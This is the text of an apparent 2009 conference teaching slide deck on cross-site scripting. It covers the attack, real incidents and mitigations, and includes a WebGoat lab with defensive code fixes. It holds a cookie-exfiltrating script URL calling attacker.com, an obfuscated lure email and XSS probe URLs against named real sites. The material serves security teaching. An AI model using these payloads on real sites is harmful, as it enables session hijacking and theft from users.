Cross Site Scripting (XSS) Charles Frank Northern Kentucky University

Cross-Site Scripting (XSS) Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing. XSS used to obtain session ID for Bank site (transfer money to attacker) Shopping site (buy goods for attacker) E-mail Key ideas Attacker sends malicious code to server. Victim’s browser loads code from server and runs it. March 4, 2009 SIGCSE

Vulnerability Trends for 2006 Trend data from MITRE CWE. March 4, 2009 SIGCSE

Anatomy of an XSS Attack User logs into legitimate site. Site sends user authentication cookie. Attacker sends user XSS attack containing injected code. User clicks on XSS link in email, web, IM. Browser contacts vulnerable URL at legitimate site with cookie in URL. Legitimate site returns injected code in web page. Browser runs injected code, which accesses evil site with cookie in URL. Evil site records user cookie. Attacker uses cookie to authenticate to legitimate site as user. March 4, 2009 SIGCSE

XSS Example Client browser sends an error message to the web server. https://example.com/error.php?message=Sorry%2C+an +error+occurred March 4, 2009 SIGCSE

XSS Example The error message is “Reflected” back from the Web server to the client in a web page. <p>Sorry, an error occurred.</p> March 4, 2009 SIGCSE

XSS Example We can replace the error with JavaScript https://example.com/error.php?message=<script>alert(‘xss’);</script> March 4, 2009 SIGCSE

Proof of Concept March 4, 2009 SIGCSE

Exploiting the Vulnerability User logins in and is issued a cookie Attacker feed the URL to user https://example.com/error.php?message=<script>var+i=new+Image;+i.src=“http://attacker.com/”%2bdocument.cookie;</script> March 4, 2009 SIGCSE

Exploiting the Vulnerability The server responds by sending the user a web page that runs the Java script. The code makes a request to attacker.com containing the session token. March 4, 2009 SIGCSE

Exploiting the Vulnerability The attacker monitors requests to attacker.com. He uses the captured session token to gain access to the user’s personal information and perform actions as the “user”. March 4, 2009 SIGCSE

Email Snare From: “Example Customer Services” To: “J Q Customer” Dear Valued Customer, You have been selected to participate in our customer survey. Please complete our easy 5 question survey, and return we will credit $5 to your account. March 4, 2009 SIGCSE

Email Snare To access the survey, please log in to your account using your usual bookmark, and then click on the following link: https://example.com/%65%72%72...?message%3d...att%61%63%6b.com...docum%65..%63ookie... March 4, 2009 SIGCSE

Reassuring Email The link contains the correct domain name (unlike phishing). The URL has been obfuscated It uses https March 4, 2009 SIGCSE

Reflected XSS Reflected XSS Injected script returned by one-time message. Requires tricking user to click on link. Non-persistent. Only works when user clicks. March 4, 2009 SIGCSE

Anatomy of an XSS Attack Web Server 8. Attacker hijacks user session. 1. Login Attacker User 2. Cookie 5. XSS URL 3. XSS Attack 6. Page with injected code. 7. Browser runs injected code. 4. User clicks on XSS link. Evil site saves ID. March 4, 2009 SIGCSE

XSS URL Examples http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script> http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script> http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1 http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=_%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E March 4, 2009 SIGCSE

Stored XSS Stored XSS Injected script stored in comment, message, etc. Requires ability to insert malicious code into web documents (comments, reviews, etc.) Persistent until message deleted. March 4, 2009 SIGCSE

Stored XSS Auction site that allows buyers to post questions and sellers to post responses. If an attacker can post a question containing a script, the attacker could get a user to bid without intending to or get the seller to close the auction and accept the attacker’s low bid. March 4, 2009 SIGCSE

Why does XSS Work? Same-Origin Policy Vulnerable Server Program Browser only allows Javascript from site X to access cookies and other data from site X. Attacker needs to make attack come from site X. Vulnerable Server Program Any program that returns user input without filtering out dangerous code. March 4, 2009 SIGCSE

XSS Attacks MySpace worm (October 2005) Paypal (2006) BBC, CBS (2006) When someone viewed Samy’s profile: Set him as friend of viewer. Incorporated code in viewer’s profile. Paypal (2006) XSS redirect used to steal money from Paypal users in a phishing scam. BBC, CBS (2006) By following XSS link from securitylab.ru, you could read an apparently valid story on the BBC or CBS site claiming that Bush appointed a 9-year old as head of the Information Security department. March 4, 2009 SIGCSE

Impact of XSS Attackers can hijack user accounts. Attackers can hijack admin accounts too. Attacker can do anything a user can do. Difficult to track down source of attack. March 4, 2009 SIGCSE

Mitigating XSS Disallow HTML input Allow only safe HTML tags Filter output Replace HTML special characters in output ex: replace < with < and > with > also replace (, ), #, & Tagged cookies Include IP address in cookie and only allow access to original IP address that cookie was created for. March 4, 2009 SIGCSE

XSS Problem XSS is a complex problem that is not going away anytime soon. The browser is insecure by design. It understand JavaScript. It isn’t the browsers job to determine what code is good or bad. Disabling scripting seriously dampens the user’s browsing experience. March 4, 2009 SIGCSE

Cross-Site Scripting Demo March 4, 2009 SIGCSE

OWASP WebGoat http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project WebGoat 5.2 Standard WebGoat 5.2 Developer Run webgoat.bat to start Tomcat Enter http://localhost/WebGoat/attack in your browser March 4, 2009 SIGCSE

OWASP WebGoat Username: guest Password: guest Start WebGoat March 4, 2009 SIGCSE

Reflected XSS Attacks Solution: View Page Source Enter <script>alert('Bang!')</script> for the PIN value View Page Source Edit | Find | Bang March 4, 2009 SIGCSE

Stage 6: Blocked Reflected XSS You have to edit org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile.java. Alter the method getRequestParameter. The body of the mehtod should look something like this: March 4, 2009 SIGCSE

Stage 6: Blocked Reflected XSS String regex = "[\\s\\w-,]*"; String parameter = s.getParser().getRawParameter(name); Pattern pattern = Pattern.compile(regex); validate(parameter, pattern); return parameter; March 4, 2009 SIGCSE

Stage 1: Stored XSS First Login as Tom with tom as password. Select Tom from the list and click on the View Profile Button. Now should appear Tom's Profile. March 4, 2009 SIGCSE

Stage 1: Stored XSS Click on the 'Edit Profile' Button and try an XSS attack on the street field. For example: <script>alert("Got Ya");</script> Click on the UpdateProfile Button and Log out. March 4, 2009 SIGCSE

Stage 1: Stored XSS Now log in as Jerry with jerry as password. Select from the the list the profile of tom and hit the ViewProfile Button. March 4, 2009 SIGCSE

Stage 2: Blocked Stored XSS using Input Validation Solution: You have to alter the method parseEmployeeProfile in the class UpdateProfile.java which is placed in the package org.owasp.webgoat.lessons.CrossSiteScripting The place to code is marked! March 4, 2009 SIGCSE

Stage 2: Blocked Stored XSS using Input Validation String regex = "[\\s\\w-,]*"; String stringToValidate = firstName+lastName+ssn+title+phone+address1+address2+ startDate+ccn+disciplinaryActionDate+ disciplinaryActionNotes+personalDescription; Pattern pattern = Pattern.compile(regex); validate(stringToValidate, pattern); March 4, 2009 SIGCSE

Stage 2: Blocked Stored XSS using Input Validation This validation allows following: \s = whitespace: \t\n\x0B\f\r \w = word: a-zA-Z_0-9 and the characters - and , Use of any other character will throw a Validation Exception. March 4, 2009 SIGCSE

Stage 3: Stored XSS Revisted Log in as David with david as password. Choose Bruce from the List and click on the 'ViewProfile' Button. March 4, 2009 SIGCSE

Stage 4: Blocked XSS using Output Encoding You have to use a static method called encode(String s) which is part of the class org.owasp.webgoat.util.HtmlEncoder. This method changes all special characters in the string. Now you have to use this method in the getEmployeeProfile method in the org.owasp.webgoat.lessons.CrossSiteScripting class. Replace all answer_results.getString(someString) with HtmlEncoder.encode(answer_results.getString(someString)) and you are done. March 4, 2009 SIGCSE

XSS References March 4, 2009 SIGCSE